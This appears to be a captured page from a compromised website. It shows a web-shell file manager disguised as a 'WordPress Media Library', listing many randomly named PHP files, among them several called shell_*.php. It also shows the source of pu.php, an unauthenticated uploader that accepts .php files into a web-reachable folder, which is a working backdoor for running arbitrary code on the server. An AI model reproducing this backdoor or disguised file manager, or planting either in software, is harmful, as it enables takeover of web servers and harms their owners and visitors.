⚙ WordPress Media Library
File manager
📁 Media Files
📋 .assets
📋 .well-known
📋 003
📋 01
📋 1ec4b369
🔧 1ny41z.php
📋 4e9cc7e2
🔧 4knbwt.php
📋 4mkjdm2m
🔧 68wqp1.php
📋 6c87kqcg
🔧 9mrukg.php
🔧 about.php
🔧 belzli.php
🔧 bu6.php
🔧 byp8.php
📋 dx2gitxo
🔧 dxkia.php
📋 error_log
🔧 hksjo.php
🔧 ht7f79.php
🔧 inputs.php
🔧 knuzu.php
🔧 m0tjgi.php
🔧 nds5a1.php
📋 online
🔧 pu.php
🔧 pu12.php
🔧 pu2.php
🔧 rcc6.php
🔧 rcc7.php
🔧 shell_0eh33qdo.php
🔧 shell_0v5hf8un.php
🔧 shell_2sgaxj50.php
🔧 tesTggq.php
🔧 test1.php
📋 uploads
🔧 utchiha_rknxcvYK.php
🔧 wdapy.php
🔧 xl6.php
📋 yn35c82p
🔧 z2ejlu.php
🔧 zh50ky.php
⬆️ Upload Media
Upload File
📝 Edit: pu.php
Size: 1.40 KB | Modified: 2025-09-28 10:04:07
<?php // Set upload directory $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; $fileType = pathinfo($targetFile, PATHINFO_EXTENSION); // Allowed file types $allowedTypes = ['jpg', 'png', 'gif', 'pdf', 'zip', 'txt', 'php']; if (!in_array(strtolower($fileType), $allowedTypes)) { die("Error: File type not allowed."); } // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>
💾 Save Changes
📥 Download
🗑️ Delete